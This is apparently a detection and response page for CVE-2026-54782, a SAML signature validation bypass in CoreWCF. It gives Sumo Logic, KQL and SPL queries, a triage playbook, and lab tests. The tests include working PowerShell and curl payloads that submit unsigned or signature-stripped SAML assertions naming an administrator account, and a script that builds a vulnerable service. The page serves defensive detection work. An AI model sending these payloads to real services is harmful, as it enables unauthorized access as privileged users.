Detect CoreWCF SAML Token Signature Validation Authentication Bypass (CVE-2026-54782) in Sumo Logic CSE
CVE-2026-54782 is a critical (CVSS 10.0) authentication bypass vulnerability in CoreWCF.Primitives affecting SAML 1.1 and 2.0 token signature validation. An unauthenticated attacker can craft a SAML assertion with an invalid or missing signature that CoreWCF accepts as valid, bypassing all authentication controls on WCF service endpoints. Affects CoreWCF.Primitives < 1.8.1 and >= 1.9.0, < 1.9.1. A public PoC exists.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=*windows* OR _sourceCategory=*iis* OR _sourceCategory=*dotnet*
| where _raw matches /(?i)(CoreWCF|System\.ServiceModel|SAML|WSTrust|assertion)/
| parse regex field=_raw "(?i)(?<event_type>signature.*?invalid|unsigned.*?assertion|bypass.*?auth|SecurityTokenValidationException|anonymous.*?access)" nodrop
| where !isEmpty(event_type)
| parse regex field=_raw "(?i)(?:src[= ]+|source[= ]+|client[= ]+)(?<src_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})" nodrop
| parse regex field=_raw "(?i)(?:user[= ]+|username[= ]+)(?<username>[\w@\.\-]+)" nodrop
| timeslice 5m
| count by _timeslice, src_ip, username, event_type
| sort by _count descSumo Logic query searching Windows, IIS, and .NET application logs for CoreWCF SAML signature bypass indicators, parsed into structured fields for correlation and alerting.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate SAML SLO (Single Logout) flows generating token parsing warnings
- Clock skew between IdP and SP causing SAML assertion timestamp validation failures
- Vendor security assessments targeting WCF service endpoints
Other platforms for CVE-2026-54782
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Send Unsigned SAML 2.0 Assertion to CoreWCF Endpoint
Expected signal: IIS logs show POST /Service with HTTP 200 response; Windows Application Event Log shows no SecurityTokenValidationException; network capture shows SAML assertion without Signature element accepted
- Test 2Send Stripped Signature SAML 1.1 Token to CoreWCF wsHttpBinding Endpoint
Expected signal: Network capture shows WS-Security SOAP header with SAML 1.1 assertion lacking Signature; IIS or Kestrel logs show HTTP 200; no authentication failure event in Windows Security log
- Test 3Deploy Vulnerable CoreWCF Version and Validate Authentication Bypass via PoC
Expected signal: dotnet process spawned on port 5050; curl returns echo response without authentication challenge on 1.8.0; after patching to 1.8.1 the same request returns 401 or SOAP fault
Response Playbook
Triage
- Identify all .NET applications in scope: enumerate IIS sites and standalone .NET processes referencing CoreWCF.Primitives; use NuGet lock files (packages.lock.json) or BOM tooling (CycloneDX, SBOM) to confirm package versions against affected ranges (< 1.8.1 or 1.9.0 – 1.9.0.x).
- Review WCF service endpoint configurations for wsHttpBinding, wsFederationHttpBinding, or custom bindings with SAML token requirements; endpoints lacking signature enforcement or using 'None' message security are highest priority.
- Correlate IIS and .NET application logs for HTTP 200 responses on SAML-authenticated endpoints from IP addresses that do not match expected identity provider egress ranges — unexpected 200s with no prior authentication exchange are strong exploitation indicators.
- Check for lateral movement: if a WCF service has machine or service account context, review downstream resource access (Active Directory, SQL, file shares) from that identity in the exploitation window.
Containment
- Immediately block external network access to all CoreWCF SAML endpoints at the perimeter firewall or WAF until patched; restrict to trusted IP ranges if blocking is not feasible.
- Deploy patched CoreWCF.Primitives (>= 1.8.1 or >= 1.9.1) to affected services; validate deployment by re-running the GHSA PoC in a staging environment to confirm signature validation is enforced post-patch.
Evidence Collection
- Capture IIS access logs, W3C extended logs, and Windows Application Event logs from affected hosts for the 72-hour window preceding detection; preserve originals before any remediation that might rotate logs.
- Collect memory dumps of w3wp.exe processes handling WCF requests if active exploitation is suspected — SAML assertion payloads and deserialized token objects may be recoverable for forensic analysis of the crafted assertion used.
Escalation Criteria
- !Escalate to incident response if any SAML bypass event is followed by privilege escalation events (4672, 4728, 4732 Windows Security events) or access to sensitive downstream resources (databases, key vaults, AD privileged groups).
- !Escalate if more than one unique source IP is observed sending crafted SAML assertions — coordinated exploitation from multiple sources indicates a targeted or opportunistic campaign rather than isolated testing.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
IIS W3C logs showing POST requests to SAML token endpoints (e.g., /sts, /trust, /saml) with HTTP 200 responses from unexpected source IPs - >
Windows Application Event Log (EventID 1000/1001) showing System.IdentityModel.Tokens.SecurityTokenValidationException or silent suppression of signature errors in CoreWCF versions < 1.8.1 - >
Network packet captures containing SAML assertions with empty or missing ds:Signature elements that were accepted by the service
Tuning Guidance
Reduce false positives by building an allowlist of known identity provider IP ranges (Azure AD, ADFS, Okta, PingFederate) and excluding SAML traffic originating from those IPs. Additionally, filter on HTTP response codes — legitimate authentication returns 200 only after a complete SAML exchange; a 200 with no preceding redirect or POST to the IdP is anomalous. Tune severity thresholds higher for services running under privileged service accounts or those with access to sensitive data stores.
Hunting Queries
Threat hunt for high-volume CoreWCF network activity from WCF worker processes and Windows Application Event Log errors related to SAML/SecurityToken processing — surfaces both active exploitation and vulnerable-but-not-yet-exploited instances.
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort in (80, 443, 808, 8080, 9000)
| where InitiatingProcessFileName in~ ("w3wp.exe", "dotnet.exe", "iisexpress.exe")
| join kind=inner (
DeviceProcessEvents
| where ProcessCommandLine has_any ("CoreWCF", "System.ServiceModel", "wsHttpBinding")
| project DeviceName, InitiatingProcessId, ProcessCommandLine
) on DeviceName
| summarize connection_count=count(), unique_ips=dcount(RemoteIP) by DeviceName, InitiatingProcessFileName
| where connection_count > 10 and unique_ips > 3
| sort by connection_count descindex=* sourcetype=WinEventLog:Application EventCode IN (1000, 1001, 1026)
| where match(_raw, "(?i)(SAML|CoreWCF|SecurityToken|WSTrust|assertion)")
| stats count AS error_count, values(Message) AS messages, dc(host) AS host_count BY EventCode, Source
| where error_count > 5
| sort - error_countAtomic Red Team Tests
Craft a minimal SAML 2.0 Response with a valid NameID but no ds:Signature element and POST it to a locally running CoreWCF service using a vulnerable version of CoreWCF.Primitives. Validates that the service accepts the assertion without signature verification.
Command
# Lab only — requires a local CoreWCF test service on vulnerable version
$samlAssertion = @'
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_test001" Version="2.0" IssueInstant="2026-06-21T00:00:00Z" Destination="http://localhost:8080/Service">
<saml:Issuer>https://attacker.example.com/idp</saml:Issuer>
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
<saml:Assertion Version="2.0" ID="_assert001" IssueInstant="2026-06-21T00:00:00Z">
<saml:Issuer>https://attacker.example.com/idp</saml:Issuer>
<saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">[email protected]</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2026-06-20T00:00:00Z" NotOnOrAfter="2026-06-22T00:00:00Z"/>
<saml:AuthnStatement AuthnInstant="2026-06-21T00:00:00Z"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement>
</saml:Assertion>
</samlp:Response>
'@
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($samlAssertion))
Invoke-WebRequest -Uri 'http://localhost:8080/Service' -Method POST -Body "SAMLResponse=$encoded" -ContentType 'application/x-www-form-urlencoded'Cleanup
Stop-Process -Name w3wp -Force -ErrorAction SilentlyContinue; Remove-Item -Path .\test_saml_response.xml -ErrorAction SilentlyContinueExpected Telemetry
IIS logs show POST /Service with HTTP 200 response; Windows Application Event Log shows no SecurityTokenValidationException; network capture shows SAML assertion without Signature element accepted
Expected Detection
Alert triggers on CoreWCF SAML bypass detection rule; SIEM correlates POST to SAML endpoint from non-IdP IP with HTTP 200 and no prior redirect flow
Generate a SAML 1.1 token with the ds:Signature block removed and submit it to a CoreWCF wsHttpBinding service. Validates bypass of SAML 1.1 signature validation on vulnerable CoreWCF versions.
Command
# Lab only — requires vulnerable CoreWCF.Primitives package
$saml11 = @'
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion" MajorVersion="1" MinorVersion="1" AssertionID="_saml11test" Issuer="attacker" IssueInstant="2026-06-21T00:00:00Z">
<saml:Conditions NotBefore="2026-06-20T00:00:00Z" NotOnOrAfter="2026-06-22T00:00:00Z"/>
<saml:AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password" AuthenticationInstant="2026-06-21T00:00:00Z">
<saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">DOMAIN\Administrator</saml:NameIdentifier></saml:Subject>
</saml:AuthenticationStatement>
</saml:Assertion>
'@
# Embed in WS-Security header via raw SOAP
$soap = "<s:Envelope xmlns:s='http://schemas.xmlsoap.org/soap/envelope/'><s:Header><Security xmlns='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd'>$saml11</Security></s:Header><s:Body><Ping xmlns='http://tempuri.org/'/></s:Body></s:Envelope>"
Invoke-WebRequest -Uri 'http://localhost:8080/wcfservice' -Method POST -Body $soap -ContentType 'text/xml; charset=utf-8' -Headers @{SOAPAction='http://tempuri.org/IPingService/Ping'}Cleanup
Stop-Process -Name dotnet -Force -ErrorAction SilentlyContinueExpected Telemetry
Network capture shows WS-Security SOAP header with SAML 1.1 assertion lacking Signature; IIS or Kestrel logs show HTTP 200; no authentication failure event in Windows Security log
Expected Detection
SPL and KQL rules fire on SAML keyword in application logs combined with successful HTTP response from WCF service; EQL sequence rule correlates network event to process event
Stand up a minimal CoreWCF service pinned to CoreWCF.Primitives 1.8.0 (vulnerable), run the GHSA PoC to confirm the bypass, then patch to 1.8.1 and confirm it is blocked — validates detection logic against both states.
Command
# Lab only — requires .NET 8 SDK
mkdir /tmp/corewcf-test && cd /tmp/corewcf-test
dotnet new web -n VulnWcfTest && cd VulnWcfTest
dotnet add package CoreWCF.Http --version 1.8.0
dotnet add package CoreWCF.Primitives --version 1.8.0
cat > Program.cs << 'EOF'
using CoreWCF;
using CoreWCF.Configuration;
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddServiceModelServices();
var app = builder.Build();
app.UseServiceModel(sb => sb.AddService<EchoService>().AddServiceEndpoint<EchoService, IEchoService>(new WSHttpBinding(SecurityMode.Message), "/echo"));
app.Run("http://localhost:5050");
[ServiceContract] public interface IEchoService { [OperationContract] string Echo(string msg); }
public class EchoService : IEchoService { public string Echo(string msg) => msg; }
EOF
dotnet run &
sleep 5
# Submit unsigned SAML assertion via curl
curl -s -X POST http://localhost:5050/echo -H 'Content-Type: text/xml' -d '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><Echo xmlns="http://tempuri.org/"><msg>bypass</msg></Echo></s:Body></s:Envelope>'Cleanup
pkill -f 'dotnet run' || true; rm -rf /tmp/corewcf-testExpected Telemetry
dotnet process spawned on port 5050; curl returns echo response without authentication challenge on 1.8.0; after patching to 1.8.1 the same request returns 401 or SOAP fault
Expected Detection
Host-based detection fires on dotnet process accepting unauthenticated SAML requests; network detection fires on HTTP 200 from .NET process without prior authentication exchange; post-patch the detection should not fire for legitimate authenticated requests